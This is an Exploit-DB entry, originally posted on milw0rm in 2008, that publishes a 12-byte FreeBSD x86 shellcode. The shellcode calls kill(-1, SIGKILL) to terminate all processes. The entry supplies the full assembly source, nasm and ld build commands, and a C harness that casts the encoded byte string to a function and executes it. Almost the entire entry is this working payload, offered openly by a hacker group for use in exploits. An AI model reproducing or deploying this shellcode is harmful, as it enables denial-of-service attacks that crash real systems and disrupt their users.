freebsd/x86 - kill all processes 12 bytes

2008-09-09T00:00:00
ID EDB-ID:13264
Type exploitdb
Reporter suN8Hclf
Modified 2008-09-09T00:00:00

Description

freebsd/x86 kill all processes 12 bytes. Shellcode exploit for freebsd_x86 platform

                                        
                                                        ***(C)oDed bY suN8Hclf***
       DaRk-CodeRs Group productions, kid
 [FreeBSD x86 kill all procesess 12 bytes shellcode]


Compile:
nasm -f elf code.asm
ld -e _start -o code code.o

Assembly code:
---------------------code.asm-------------------
section .text
global _start

_start:
xor eax, eax
push byte 9 ; SIGKILL
dec eax
push eax    ; -1 (0xffffffff)
inc eax
mov al, 37  ;kill() syscall number, check /usr/src/sys/kern/syscalls.master for details
push eax
int 0x80
---------------------code.asm-------------------

And C code:
---------------------code.c---------------------
#include <stdio.h>

char shellcode[]=
"\x31\xc0\x6a\x09\x48\x50\x40\xb0\x25\x50\xcd\x80";

int main()
{
int (*func)();
func=(int (*)())shellcode;
(int)(*func)();
}
---------------------code.c---------------------


Greetz: all DaRk-CodeRs guys, e.wiZz!, doctor
Visit : www.dark-coders.pl

# milw0rm.com [2008-09-09]